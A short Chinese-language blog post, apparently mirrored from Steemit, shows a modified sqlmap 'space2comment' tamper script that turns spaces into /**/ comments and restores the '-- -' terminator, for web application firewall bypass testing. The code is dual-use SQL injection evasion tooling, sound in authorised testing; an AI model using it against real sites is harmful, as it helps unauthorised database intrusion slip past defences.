__________     __ __     __  _______    ________
  / ____/ __ \   / // /    / / / /  _/ |  / / ____/
 / / __/ / / /  / // /_   / /_/ // / | | / / __/
/ /_/ / /_/ /  /__  __/  / __  // /  | |/ / /___
\____/\____/     /_/    /_/ /_/___/  |___/_____/

 --- A GOPHER-LIKE INTERFACE FOR HIVE BLOCKCHAIN ---

SQLMap tamper

BY: @evil0x00 | CREATED: July 24, 2018, 6:26 a.m. | VOTES: 3 | PAYOUT: $0.10 | [ VOTE ]

space2comment

[IMAGE: https://cdn.steemitimages.com/DQmammRKuuafYdXC8qGJAvbgWDoSV1enMmqSzdeiog2Q6Vb/image.png]

进行WAF绕过测试的时候

" " 转换成 "/**/"

但是 这个也会被注释

-- - 注释为 --/**/-

就会导致出错 那么可以更改脚本为:

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal.replace('--/**/-','-- -')

最简单的办法 就是这个了

TAGS: [ #cmd ] [ #cn ] [ #cn-reader ] [ #cn-funny ] [ #windows ]

Replies

@evil0x00 | July 24, 2018, 6:27 a.m. | Votes: 2 | [ VOTE ]

就是在最后replace一下

[ BACK TO TRENDING ] [ BACK TO MENU ]
CMD>